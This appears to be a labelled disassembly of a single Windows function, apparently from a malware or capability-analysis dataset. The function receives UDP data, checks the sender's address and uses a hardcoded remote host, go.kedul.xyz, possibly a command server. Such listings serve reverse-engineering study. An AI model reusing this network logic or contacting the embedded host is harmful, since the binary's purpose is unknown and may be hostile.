Function at 0x40f710
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42a660
mov eax, dword fs:[0]
push eax
sub esp, 0x6ac
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x5a8], ebx
push 0x100
lea eax, [ebp - 0x15b]
mov dword [ebp - 0x160], 0
push 0
push eax
mov byte [ebp - 0x15c], 0
call fcn.0041a0a0
add esp, 0xc
mov dword [ebp - 0x6b7], 0
lea eax, [ebp - 0x6b2]
mov byte [ebp - 0x6b3], 0
push 0x100
push 0
push eax
call fcn.0041a0a0
add esp, 0xc
cmp byte [ebx + 0x1910], 0
je 0x40f910
mov ecx, dword [ebp - 0x5a8]
add ebx, 0x1913
add ecx, 0x1d1c
push ebx
call fcn.004126e0
mov ecx, 0x41
lea edi, [ebp - 0x160]
push ebx
mov ebx, dword [ebp - 0x5a8]
lea esi, [eax + 1]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 0x1d1c]
movsb byte es:[edi], byte [esi]
call fcn.004126e0
cmp byte [ebx + 0x1911], 0
mov cl, byte [eax]
mov al, byte [ebx + 0x814]
mov byte [ebp - 0x5a1], cl
mov byte [ebp - 0x160], al
je 0x40f7ff
inc byte [ebp - 0x15f]
test al, al
jne 0x40f816
cmp byte [ebx + 0x1d18], al
jne 0x40f816
mov byte [ebx + 0x1910], al
jmp 0x40fe4c
cmp cl, 0x10
lea ecx, [ebp - 0x58]
push str.go.kedul.xyz
jne 0x40f85f
call fcn.004076d0
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x160]
call fcn.00409000
mov byte [ebp - 4], 1
cmp dword [eax + 0x14], 0x10
jb 0x40f84e
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x28]
call fcn.004076d0
lea ecx, [ebp - 0x28]
push ecx
push 0x10
jmp 0x40f899
call fcn.004076d0
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 2
push eax
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x160]
call fcn.00409000
mov byte [ebp - 4], 3
cmp dword [eax + 0x14], 0x10
jb 0x40f88a
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x28]
call fcn.004076d0
lea ecx, [ebp - 0x28]
push ecx
push 1
push ecx
lea eax, [ebx + 0x14]
push eax
call fcn.00408250
cmp dword [ebp - 0x14], 0x10
mov dword [ebp - 0x5a8], eax
jb 0x40f8ba
push dword [ebp - 0x28]
call fcn.00415bcd
add esp, 4
cmp dword [ebp - 0x2c], 0x10
mov byte [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
jb 0x40f8dd
push dword [ebp - 0x40]
call fcn.00415bcd
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x44], 0x10
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
jb 0x40fca9
push dword [ebp - 0x58]
call fcn.00415bcd
add esp, 4
jmp 0x40fca9
cmp byte [ebx + 0x838], 0
jne 0x40f97b
lea eax, [ebp - 0x160]
push eax
lea ecx, [ebx + 0x1278]
call fcn.0040dd40
test eax, eax
je 0x40f97b
push str.go.kedul.xyz
lea ecx, [ebp - 0x58]
call fcn.004076d0
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x160]
call fcn.00409000
mov byte [ebp - 4], 5
cmp dword [eax + 0x14], 0x10
jb 0x40f962
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x28]
call fcn.004076d0
lea eax, [ebp - 0x28]
push eax
push 1
lea esi, [ebx + 0x14]
push ecx
push esi
jmp 0x40fc2d
mov al, byte [ebx + 0x814]
mov byte [ebp - 0x5a1], al
test al, al
jne 0x40fa84
cmp byte [ebx + 0x1d18], al
jne 0x40f9fc
add ebx, 0x1278
lea esi, [ebx + 0x234]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc byte [ebx + 0x254]
mov al, byte [ebx + 0x254]
cmp al, 0xff
jbe 0x40f9c1
mov byte [ebx + 0x254], 0
mov al, byte [ebx + 0x254]
push esi
movzx ebx, al
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov byte [ebp - 0x265], bl
lea esi, [ebp - 0x268]
mov ebx, dword [ebp - 0x5a8]
mov word [ebp - 0x268], 0
mov byte [ebp - 0x266], 1
mov byte [ebp - 0x264], 0
jmp 0x40fa6d
push 0xff
lea eax, [ebp - 0x267]
push 0
push eax
call fcn.0041a0a0
add esp, 0xc
lea esi, [ebp - 0x268]
mov edi, 8
mov ebx, 0xff
call fcn.004165c3
cdq
lea esi, [esi + 1]
idiv ebx
mov byte [esi - 1], dl
dec edi
jne 0x40fa22
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, dword [ebp - 0x5a8]
mov word [ebp - 0x268], ax
lea eax, [ebp - 0x268]
lea ecx, [ebx + 0x1278]
push ecx
push 0xa
push eax
movzx eax, byte [ebx + 0x814]
push edi
push eax
lea eax, [ebp - 0x590]
push eax
call fcn.0040dcc0
mov esi, eax
mov ecx, 0x41
lea edi, [ebp - 0x160]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebx + 0x838], 0
jmp 0x40fafa
add ebx, 0x1278
lea esi, [ebx + 0x234]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc byte [ebx + 0x254]
mov al, byte [ebx + 0x254]
cmp al, 0xff
jbe 0x40faae
mov byte [ebx + 0x254], 0
mov al, byte [ebx + 0x254]
push esi
movzx ebx, al
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, byte [ebp - 0x5a1]
lea esi, [ebp - 0x268]
mov byte [ebp - 0x265], bl
lea edi, [ebp - 0x160]
mov ebx, dword [ebp - 0x5a8]
mov ecx, 0x41
mov byte [ebp - 0x268], al
mov word [ebp - 0x267], 0
mov byte [ebp - 0x264], 0
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp byte [ebx + 0x838], 0
lea ecx, [ebp - 0x58]
push str.go.kedul.xyz
jbe 0x40fbee
call fcn.004076d0
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 6
push eax
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x160]
call fcn.00409000
mov byte [ebp - 4], 7
cmp dword [eax + 0x14], 0x10
jb 0x40fb3a
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x28]
call fcn.004076d0
lea eax, [ebp - 0x28]
push eax
push 0x10
push ecx
lea esi, [ebx + 0x14]
push esi
call fcn.00408250
cmp dword [ebp - 0x14], 0x10
mov dword [ebp - 0x5a8], eax
jb 0x40fb6a
push dword [ebp - 0x28]
call fcn.00415bcd
add esp, 4
cmp dword [ebp - 0x2c], 0x10
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
jb 0x40fb8d
push dword [ebp - 0x40]
call fcn.00415bcd
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x44], 0x10
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
jb 0x40fbb7
push dword [ebp - 0x58]
call fcn.00415bcd
add esp, 4
dec byte [ebx + 0x838]
mov byte [ebp - 0x5a1], 0x10
jne 0x40fc9d
movzx eax, byte [ebx + 0x814]
lea ecx, [ebx + 0x1278]
push 0
push 0
push 0
push 0
push eax
push 0
push 0
call fcn.0040ddd0
jmp 0x40fc9d
call fcn.004076d0
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 8
push eax
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x160]
call fcn.00409000
mov byte [ebp - 4], 9
cmp dword [eax + 0x14], 0x10
jb 0x40fc19
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x28]
call fcn.004076d0
lea ecx, [ebp - 0x28]
push ecx
push 1
lea eax, [ebx + 0x14]
push ecx
push eax
call fcn.00408250
cmp dword [ebp - 0x14], 0x10
mov dword [ebp - 0x5a8], eax
jb 0x40fc49
push dword [ebp - 0x28]
call fcn.00415bcd
add esp, 4
cmp dword [ebp - 0x2c], 0x10
mov byte [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
jb 0x40fc6c
push dword [ebp - 0x40]
call fcn.00415bcd
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x44], 0x10
mov byte [ebp - 0x40], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
jb 0x40fc96
push dword [ebp - 0x58]
call fcn.00415bcd
add esp, 4
mov byte [ebp - 0x5a1], 1
mov al, byte [ebp - 0x15d]
mov byte [ebx + 0x1912], al
mov al, byte [ebp - 0x5a1]
lea esi, [ebp - 0x160]
mov ecx, 0x41
lea edi, [ebp - 0x6b7]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 0x1d1c]
movsb byte es:[edi], byte [esi]
mov byte [ebp - 0x6b8], al
lea eax, [ebp - 0x15d]
push eax
call fcn.004126e0
mov edi, eax
lea esi, [ebp - 0x6b8]
mov ecx, 0x41
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
movsw word es:[edi], word [esi]
call fcn.00408570
xor eax, eax
mov dword [ebp - 0x5ac], 0x10
mov word [ebp - 0x5a0], ax
xorps xmm0, xmm0
mov dword [ebp - 0x596], eax
mov ecx, ebx
mov word [ebp - 0x592], ax
lea eax, [ebx + 4]
push eax
push dword [ebp - 0x5a8]
lea eax, [ebx + 0x14]
movq qword [ebp - 0x59e], xmm0
push eax
call fcn.00408650
test eax, eax
je 0x40fe38
push 0x400
lea edi, [ebx + 0x414]
push 0
push edi
call fcn.0041a0a0
add esp, 0xc
lea eax, [ebp - 0x5ac]
push eax
lea eax, [ebp - 0x5a0]
push eax
push 0
push 0x400
push edi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0xffffffff
je 0x40fe08
test eax, eax
je 0x40fe08
mov ax, word [ebp - 0x59e]
cmp ax, word [ebx + 6]
jne 0x40fdd1
push dword [ebx + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push dword [ebp - 0x59c]
mov esi, eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x40fdc4
test cl, cl
je 0x40fdc0
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x40fdc4
add eax, 2
add esi, 2
test cl, cl
jne 0x40fda4
xor eax, eax
jmp 0x40fdc9
sbb eax, eax
or eax, 1
test eax, eax
je 0x40fe6a
push 0x400
push 0
push edi
call fcn.0041a0a0
add esp, 0xc
lea eax, [ebp - 0x5ac]
push eax
lea eax, [ebp - 0x5a0]
push eax
push 0
push 0x400
push edi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0xffffffff
jne 0x40fd78
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x8c
je 0x40fe1c
cmp eax, 0x274c
jne 0x40fe38
cmp byte [ebx + 0x1910], 0
jne 0x40fe38
mov al, byte [ebp - 0x15d]
mov byte [ebx + 0x1910], 1
mov byte [ebx + 0x1913], al
mov eax, dword [ebx]
cmp eax, 0xffffffff
je 0x40fe4c
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebx], 0xffffffff
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret
push ecx
push edi
lea eax, [ebp - 0x488]
push eax
call fcn.00408360
test byte [ebp - 0x386], 0xf
je 0x40fe99
cmp byte [ebx + 0x1901], 0xa
jbe 0x40fe91
mov ecx, ebx
call fcn.00410110
inc byte [ebx + 0x1901]
jmp 0x40fe1c
mov ax, word [ebp - 0x37c]
cmp ax, 0x10
je 0x40fec4
cmp ax, 1
je 0x40fec4
mov al, byte [ebp - 0x15d]
cmp byte [ebx + 0x1910], 0
jne 0x40fe38
jmp 0x40fe2b
push 0x100
lea eax, [ebp - 0x263]
mov byte [ebx + 0x1901], 0
push 0
push eax
mov dword [ebp - 0x268], 0
mov byte [ebp - 0x264], 0
call fcn.0041a0a0
add esp, 0xc
lea eax, [ebp - 0x36e]
lea ecx, [ebp - 0x268]
push dword [ebp - 0x370]
push eax
call fcn.004095b0
cmp byte [ebx + 0x1d18], 0
mov cl, byte [ebp - 0x160]
jne 0x40ff44
cmp byte [ebp - 0x15c], 0
jne 0x40ff44
test cl, cl
jne 0x40ff44
cmp byte [ebp - 0x15e], 1
jne 0x40ff44
cmp byte [ebp - 0x5a1], 1
jne 0x40ff44
mov byte [ebx + 0x1d18], 1
jmp 0x40fe38
mov al, byte [ebp - 0x15d]
cmp byte [ebp - 0x265], al
jne 0x40feb2
cmp byte [ebp - 0x268], cl
jne 0x40feb2
push ecx
lea eax, [ebp - 0x268]
mov ecx, ebx
push eax
call fcn.00411270
cmp eax, 1
je 0x40ffaf
cmp byte [ebx + 0x1910], 0
je 0x40fe38
mov al, byte [ebx + 0x1913]
cmp al, byte [ebx + 0x1912]
jne 0x40ffa8
cmp byte [ebx + 0x1911], 0
je 0x40ffa1
mov byte [ebx + 0x1911], 0
mov byte [ebx + 0x1910], 0
inc al
jmp 0x40fe32
cmp byte [ebx + 0x1911], 0
jne 0x40ffbf
mov byte [ebx + 0x1911], 1
cmp byte [ebx + 0x1910], 0
jne 0x40ffcf
mov byte [ebx + 0x1910], 1
mov al, byte [ebp - 0x267]
inc al
jmp 0x40fe32